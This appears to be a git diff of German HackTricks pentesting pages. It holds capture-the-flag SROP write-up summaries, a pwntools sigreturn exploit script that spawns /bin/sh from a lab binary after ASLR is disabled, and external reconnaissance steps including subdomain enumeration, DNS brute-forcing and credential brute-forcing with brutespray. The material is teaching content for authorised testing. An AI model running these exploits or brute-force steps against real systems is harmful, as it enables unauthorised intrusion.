* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
||||
* Assemblierungs-Binary, das es ermöglicht, **auf den Stack zu schreiben** und dann den **`sigreturn`**-Syscall aufzurufen. Es ist möglich, auf dem Stack eine [**ret2syscall**](../rop-syscall-execv/) über eine **sigreturn**-Struktur zu schreiben und die Flagge zu lesen, die sich im Speicher des Binärprogramms befindet.
|
||||
* Assembler-Binärdatei, die es ermöglicht, **auf den Stack zu schreiben** und dann den **`sigreturn`**-Syscall aufzurufen. Es ist möglich, auf dem Stack eine [**ret2syscall**](../rop-syscall-execv/) über eine **sigreturn**-Struktur zu schreiben und die Flagge zu lesen, die sich im Speicher der Binärdatei befindet.
|
||||
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
||||
* Assemblierungs-Binary, das es ermöglicht, **auf den Stack zu schreiben** und dann den **`sigreturn`**-Syscall aufzurufen. Es ist möglich, auf dem Stack eine [**ret2syscall**](../rop-syscall-execv/) über eine **sigreturn**-Struktur zu schreiben (das Binary enthält den String `/bin/sh`).
|
||||
* Assembler-Binärdatei, die es ermöglicht, **auf den Stack zu schreiben** und dann den **`sigreturn`**-Syscall aufzurufen. Es ist möglich, auf dem Stack eine [**ret2syscall**](../rop-syscall-execv/) über eine **sigreturn**-Struktur zu schreiben (die Binärdatei enthält den String `/bin/sh`).
|
||||
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
||||
* 64 Bit, kein relro, kein Canary, nx, kein pie. Einfacher Pufferüberlauf, der die `gets`-Funktion ausnutzt, ohne Gadgets, die ein [**ret2syscall**](../rop-syscall-execv/) durchführen. Die ROP-Kette schreibt `/bin/sh` in den `.bss`, indem sie erneut `gets` aufruft, missbraucht die **`alarm`**-Funktion, um eax auf `0xf` zu setzen, um einen **SROP** aufzurufen und eine Shell auszuführen.
|
||||
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
||||
* 64 Bit Assemblierungsprogramm, kein relro, kein Canary, nx, kein pie. Der Ablauf ermöglicht das Schreiben in den Stack, die Kontrolle mehrerer Register und das Aufrufen eines Syscalls, gefolgt von einem Aufruf von `exit`. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzt und `eip` bewegt, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärraum auf `rwx` zu setzen und den ESP im Binärraum zu platzieren. Im weiteren Verlauf ruft das Programm erneut read in ESP auf, aber in diesem Fall zeigt ESP auf die nächste Anweisung, sodass beim Übergeben eines Shellcodes dieser als nächste Anweisung geschrieben und ausgeführt wird.
|
||||
* 64-Bit-Assemblerprogramm, kein relro, kein Canary, nx, kein pie. Der Ablauf ermöglicht das Schreiben in den Stack, die Kontrolle mehrerer Register und das Aufrufen eines Syscalls, der dann `exit` aufruft. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzt und `eip` bewegt, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärraum auf `rwx` zu setzen und den ESP im Binärraum zu setzen. Im weiteren Verlauf ruft das Programm erneut read in ESP auf, aber in diesem Fall zeigt ESP auf die nächste Anweisung, sodass beim Übergeben eines Shellcodes dieser als nächste Anweisung geschrieben und ausgeführt wird.
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
* SROP wird verwendet, um Ausführungsberechtigungen (memprotect) für den Ort zu geben, an dem ein Shellcode platziert wurde.
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -42,14 +42,55 @@ Kompilieren Sie es mit:
|
|||
clang -o srop srop.c -fno-stack-protector
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
||||
```
|
||||
## Exploit
|
||||
|
||||
Der Exploit nutzt den Pufferüberlauf aus, um zum Aufruf von **`sigreturn`** zurückzukehren und den Stack vorzubereiten, um **`execve`** mit einem Zeiger auf `/bin/sh` aufzurufen.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Aus irgendeinem Grund, den ich nicht kenne, führt der Aufruf von **`sigreturn`** nichts aus, daher funktioniert es nicht.
|
||||
{% endhint %}
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./srop')
|
||||
elf = context.binary = ELF('./srop')
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
libc.address = 0x0000fffff7df0000 # ASLR disabled
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
|
||||
print("/bin/sh in: " + hex(binsh))
|
||||
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006a0 # mov x0, #0x8b ; svc #0x0
|
||||
svc_call = 0x00000000004006a4 # svc #0x0
|
||||
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
frame.x0 = binsh # pointer to /bin/sh
|
||||
frame.x1 = 0x4343434343434343 # NULL
|
||||
frame.x2 = 0x0 # NULL
|
||||
frame.pc = svc_call
|
||||
|
||||
payload = b'A' * stack_offset
|
||||
payload += p64(sigreturn)
|
||||
payload += b"B" * len(bytes(frame))
|
||||
|
||||
with open("/tmp/i", "wb") as f:
|
||||
f.write(payload)
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
|
|
@ -10,11 +10,11 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -45,8 +45,8 @@ Eine autonome Systemnummer (**ASN**) ist eine **eindeutige Nummer**, die einem *
|
|||
Ein **AS** besteht aus **Blöcken** von **IP-Adressen**, die eine klar definierte Richtlinie für den Zugriff auf externe Netzwerke haben und von einer einzigen Organisation verwaltet werden, aber aus mehreren Betreibern bestehen können.
|
||||
|
||||
Es ist interessant zu erfahren, ob das **Unternehmen eine ASN zugewiesen hat**, um seine **IP-Bereiche zu finden**. Es wird interessant sein, einen **Vulnerabilitätstest** gegen alle **Hosts** im **Rahmen** durchzuführen und nach Domains innerhalb dieser IPs zu suchen.\
|
||||
Sie können nach dem Unternehmensnamen, nach der IP oder nach der Domain unter [**https://bgp.he.net/**](https://bgp.he.net)** suchen.**\
|
||||
**Je nach Region des Unternehmens könnten diese Links nützlich sein, um mehr Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). In jedem Fall erscheinen wahrscheinlich alle** nützlichen Informationen **(IP-Bereiche und Whois)** bereits im ersten Link.
|
||||
Sie können nach Unternehmensnamen, nach **IP** oder nach **Domain** unter [**https://bgp.he.net/**](https://bgp.he.net)** suchen.**\
|
||||
**Je nach Region des Unternehmens könnten diese Links nützlich sein, um mehr Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Wie auch immer, wahrscheinlich erscheinen bereits alle** nützlichen Informationen **(IP-Bereiche und Whois)** im ersten Link.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
|
@ -69,50 +69,47 @@ bbot -t tesla.com -f subdomain-enum
|
|||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
Du kannst die IP-Bereiche einer Organisation auch unter Verwendung von [http://asnlookup.com/](http://asnlookup.com) (es hat eine kostenlose API) finden.\
|
||||
Du kannst die IP-Adresse und ASN einer Domain unter Verwendung von [http://ipv4info.com/](http://ipv4info.com) finden.
|
||||
Sie können die IP-Bereiche einer Organisation auch unter Verwendung von [http://asnlookup.com/](http://asnlookup.com) (es hat eine kostenlose API) finden.\
|
||||
Sie können die IP und ASN einer Domain unter Verwendung von [http://ipv4info.com/](http://ipv4info.com) finden.
|
||||
|
||||
### **Suche nach Schwachstellen**
|
||||
|
||||
Zu diesem Zeitpunkt kennen wir **alle Assets im Umfang**, daher könntest du, wenn erlaubt, einen **Schwachstellen-Scanner** (Nessus, OpenVAS) über alle Hosts starten.\
|
||||
Außerdem könntest du einige [**Port-Scans**](../pentesting-network/#discovering-hosts-from-the-outside) durchführen **oder Dienste wie** Shodan **verwenden, um** offene Ports **zu finden und je nach Ergebnis solltest du** in diesem Buch nachsehen, wie du verschiedene mögliche Dienste pentesten kannst.\
|
||||
**Außerdem könnte es sich lohnen zu erwähnen, dass du auch einige** Standard-Benutzernamen **und** Passwortlisten **vorbereiten und versuchen kannst, Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu** brute-forcen.
|
||||
Zu diesem Zeitpunkt kennen wir **alle Assets im Umfang**, daher könnten Sie, wenn Sie dazu berechtigt sind, einen **Vulnerability Scanner** (Nessus, OpenVAS) über alle Hosts starten.\
|
||||
Außerdem könnten Sie einige [**Portscans**](../pentesting-network/#discovering-hosts-from-the-outside) durchführen **oder Dienste wie** Shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie Sie verschiedene mögliche Dienste pentesten können.\
|
||||
**Außerdem könnte es sich lohnen zu erwähnen, dass Sie auch einige** Standardbenutzername **und** Passwortlisten **vorbereiten und versuchen können, Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu brute-forcen.
|
||||
|
||||
## Domains
|
||||
|
||||
> Wir kennen alle Unternehmen im Umfang und ihre Assets, es ist Zeit, die Domains im Umfang zu finden.
|
||||
|
||||
_Bitte beachte, dass du in den folgenden vorgeschlagenen Techniken auch Subdomains finden kannst und diese Informationen nicht unterschätzt werden sollten._
|
||||
_Bitte beachten Sie, dass Sie in den folgenden vorgeschlagenen Techniken auch Subdomains finden können und diese Informationen nicht unterschätzt werden sollten._
|
||||
|
||||
Zuerst solltest du nach den **Hauptdomains** jedes Unternehmens suchen. Zum Beispiel ist für _Tesla Inc._ wird es _tesla.com_ sein.
|
||||
Zunächst sollten Sie nach den **Hauptdomains** jedes Unternehmens suchen. Zum Beispiel ist für _Tesla Inc._ wird es _tesla.com_ sein.
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
Da du alle IP-Bereiche der Domains gefunden hast, könntest du versuchen, **Reverse-DNS-Lookups** auf diesen **IPs durchzuführen, um mehr Domains im Umfang zu finden**. Versuche, einige DNS-Server des Opfers oder einige bekannte DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden.
|
||||
Da Sie alle IP-Bereiche der Domains gefunden haben, könnten Sie versuchen, **Reverse-DNS-Lookups** auf diesen **IPs durchzuführen, um mehr Domains im Umfang zu finden**. Versuchen Sie, einige DNS-Server des Opfers oder einige bekannte DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden.
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
Um dies zu ermöglichen, muss der Administrator manuell das PTR aktivieren.\
|
||||
Sie können auch ein Online-Tool für diese Informationen verwenden: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
### **Rückwärtssuche Whois (Schleife)**
|
||||
|
||||
### **Reverse Whois (Schleife)**
|
||||
|
||||
Innerhalb eines **whois** können Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern finden... Aber noch interessanter ist, dass Sie **weitere Assets im Zusammenhang mit dem Unternehmen** finden können, wenn Sie **Reverse Whois-Lookups nach einem dieser Felder durchführen** (zum Beispiel in anderen Whois-Registern, in denen dieselbe E-Mail erscheint).\
|
||||
Sie können Online-Tools wie:
|
||||
Innerhalb eines **whois** können Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern finden... Aber noch interessanter ist, dass Sie **weitere Assets im Zusammenhang mit dem Unternehmen** finden können, wenn Sie **Rückwärtssuchen Whois nach einem dieser Felder durchführen** (zum Beispiel in anderen Whois-Registern, in denen dieselbe E-Mail erscheint).\
|
||||
Sie können Online-Tools wie folgt verwenden:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Kostenlos**
|
||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Kostenlos**
|
||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Kostenlos**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** Web, nicht kostenloses API.
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** web, nicht kostenloses API.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nicht kostenlos
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nicht kostenlos (nur **100 kostenlose** Suchen)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Nicht kostenlos
|
||||
|
||||
Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink)verwenden (erfordert einen Whoxy-API-Schlüssel).\
|
||||
Sie können auch einige automatische Reverse-Whois-Entdeckungen mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
|
||||
Sie können auch einige automatische Rückwärtssuchen Whois-Entdeckungen mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
|
||||
|
||||
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
|
||||
|
||||
|
@ -131,7 +128,7 @@ Es gibt einige Seiten und Tools, mit denen Sie nach diesen Trackern und mehr suc
|
|||
|
||||
### **Favicon**
|
||||
|
||||
Wussten Sie, dass wir verwandte Domains und Subdomains zu unserem Ziel finden können, indem wir nach demselben Favicon-Icon-Hash suchen? Genau das macht das [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)-Tool von [@m4ll0k2](https://twitter.com/m4ll0k2). So verwenden Sie es:
|
||||
Wussten Sie, dass wir verwandte Domains und Subdomains zu unserem Ziel finden können, indem wir nach demselben Favicon-Symbol-Hash suchen? Genau das macht das [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)-Tool von [@m4ll0k2](https://twitter.com/m4ll0k2). So verwenden Sie es:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -170,18 +167,18 @@ Es ist üblich, einen Cron-Job wie folgt zu haben:
|
|||
```
|
||||
### Externe Recherche-Methodik
|
||||
|
||||
Um alle Domain-Zertifikate auf dem Server zu erneuern. Dies bedeutet, dass selbst wenn die CA, die für dies verwendet wird, die Zeit, zu der sie generiert wurde, nicht im Gültigkeitszeitraum festlegt, es möglich ist, **Domänen zu finden, die demselben Unternehmen in den Zertifikatstransparenz-Logs gehören**.\
|
||||
Um alle Domain-Zertifikate auf dem Server zu erneuern. Dies bedeutet, dass selbst wenn die CA, die für dies verwendet wird, die Zeit, zu der sie generiert wurde, nicht im Gültigkeitszeitraum festlegt, es möglich ist, **Domains, die demselben Unternehmen gehören, in den Zertifikatstransparenz-Logs zu finden**.\
|
||||
Schauen Sie sich dieses [**Writeup für weitere Informationen**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/) an.
|
||||
|
||||
### Mail DMARC-Informationen
|
||||
|
||||
Sie können eine Website wie [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) oder ein Tool wie [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) verwenden, um **Domänen und Subdomänen zu finden, die dieselben DMARC-Informationen teilen**.
|
||||
Sie können eine Website wie [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) oder ein Tool wie [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) verwenden, um **Domains und Subdomains zu finden, die dieselben DMARC-Informationen teilen**.
|
||||
|
||||
### **Passive Übernahme**
|
||||
|
||||
Es ist anscheinend üblich, dass Personen Subdomänen IPs zuweisen, die Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher wird durch das **Starten einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **die Kontrolle über einige Subdomänen übernommen**.
|
||||
Es ist anscheinend üblich, dass Personen Subdomains IPs zuweisen, die Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher wird durch das **Starten einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **die Kontrolle über einige Subdomains übernommen**.
|
||||
|
||||
[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean startet**, die **IPv4** des neuen Geräts **abruft** und in Virustotal nach Subdomänen-Einträgen sucht, die darauf verweisen.
|
||||
[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean startet**, die **IPv4** des neuen Geräts **abruft** und in Virustotal nach Subdomain-Einträgen sucht, die darauf verweisen.
|
||||
|
||||
### **Andere Methoden**
|
||||
|
||||
|
@ -189,13 +186,13 @@ Es ist anscheinend üblich, dass Personen Subdomänen IPs zuweisen, die Cloud-An
|
|||
|
||||
**Shodan**
|
||||
|
||||
Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie in Shodan nach diesen Daten suchen, indem Sie Folgendes verwenden: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domänen im TLS-Zertifikat.
|
||||
Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie in Shodan nach diesen Daten suchen: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat.
|
||||
|
||||
Sie könnten auf das **TLS-Zertifikat** der Hauptwebseite zugreifen, den **Organisationsnamen** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) verwenden.
|
||||
Sie könnten auf das **TLS-Zertifikat** der Hauptwebseite zugreifen, den **Organisationsnamen** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder verwenden Sie ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **mit einer Hauptdomäne verbundenen Domänen** und **Subdomänen** von ihnen sucht, ziemlich erstaunlich.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **mit einer Hauptdomain verbundenen Domains** und **Subdomains** von ihnen sucht, ziemlich erstaunlich.
|
||||
|
||||
### **Suche nach Schwachstellen**
|
||||
|
||||
|
@ -209,19 +206,19 @@ _Beachten Sie, dass die Domain manchmal in einer IP gehostet wird, die nicht vom
|
|||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Subdomänen
|
||||
## Subdomains
|
||||
|
||||
> Wir kennen alle Unternehmen im Scope, alle Vermögenswerte jedes Unternehmens und alle mit den Unternehmen verbundenen Domänen.
|
||||
> Wir kennen alle Unternehmen im Scope, alle Vermögenswerte jedes Unternehmens und alle mit den Unternehmen verbundenen Domains.
|
||||
|
||||
Es ist an der Zeit, alle möglichen Subdomänen jeder gefundenen Domain zu finden.
|
||||
Es ist an der Zeit, alle möglichen Subdomains jeder gefundenen Domain zu finden.
|
||||
|
||||
{% hint style="success" %}
|
||||
Beachten Sie, dass einige der Tools und Techniken zur Auffindung von Domänen auch zur Auffindung von Subdomänen beitragen können!
|
||||
Beachten Sie, dass einige der Tools und Techniken zur Auffindung von Domains auch zur Auffindung von Subdomains beitragen können!
|
||||
{% endhint %}
|
||||
|
||||
### **DNS**
|
||||
|
||||
Versuchen wir, **Subdomänen** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zone Transfer** suchen (Wenn verwundbar, sollten Sie dies melden).
|
||||
Lassen Sie uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zone Transfer** suchen (Wenn anfällig, sollten Sie es melden).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -278,7 +275,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
|
|||
```
|
||||
Es gibt **andere interessante Tools/APIs**, die zwar nicht direkt auf die Suche nach Subdomains spezialisiert sind, aber dennoch nützlich sein können, um Subdomains zu finden, wie:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Verwendet die API [https://sonar.omnisint.io](https://sonar.omnisint.io), um Subdomains zu erhalten.
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Verwendet die API [https://sonar.omnisint.io](https://sonar.omnisint.io), um Subdomains zu erhalten
|
||||
```bash
|
||||
# Get list of subdomains in output from the API
|
||||
## This is the API the crobat tool will use
|
||||
|
@ -341,13 +338,13 @@ python3 DomainTrail.py -d example.com
|
|||
* [**securitytrails.com**](https://securitytrails.com/) bietet eine kostenlose API zur Suche nach Subdomains und IP-Verlauf
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Dieses Projekt bietet **kostenlos alle mit Bug-Bounty-Programmen verbundenen Subdomains** an. Sie können auch auf diese Daten zugreifen, indem Sie [chaospy](https://github.com/dr-0x0x/chaospy) verwenden oder sogar auf den von diesem Projekt verwendeten Umfang zugreifen [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
Dieses Projekt bietet **kostenlos alle mit Bug-Bounty-Programmen verbundenen Subdomains** an. Sie können auch auf diese Daten zugreifen, indem Sie [chaospy](https://github.com/dr-0x0x/chaospy) verwenden oder sogar auf den Umfang zugreifen, der von diesem Projekt verwendet wird [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Sie finden einen **Vergleich** vieler dieser Tools hier: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
Sie finden hier einen **Vergleich** vieler dieser Tools: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **DNS-Brute-Force**
|
||||
|
||||
Lassen Sie uns versuchen, neue **Subdomains** zu finden, indem wir DNS-Server mit möglichen Subdomain-Namen brute-forcen.
|
||||
Versuchen wir, neue **Subdomains** zu finden, indem wir DNS-Server mit möglichen Subdomain-Namen brute-forcen.
|
||||
|
||||
Für diese Aktion benötigen Sie einige **übliche Subdomain-Wordlists wie**:
|
||||
|
||||
|
@ -367,7 +364,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
|||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Ich glaube, dieser verwendet nur 1 Resolver.
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Ich glaube, dieser verwendet nur 1 Resolver
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
|
@ -391,8 +388,8 @@ Nachdem Sie Subdomains mithilfe von Open-Quellen und Brute-Force gefunden haben,
|
|||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Angesichts der Domains und Subdomains generieren Sie Permutationen.
|
||||
* Sie können die goaltdns Permutationen **Wortliste** [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) erhalten.
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Angenommen die Domains und Subdomains generieren Permutationen.
|
||||
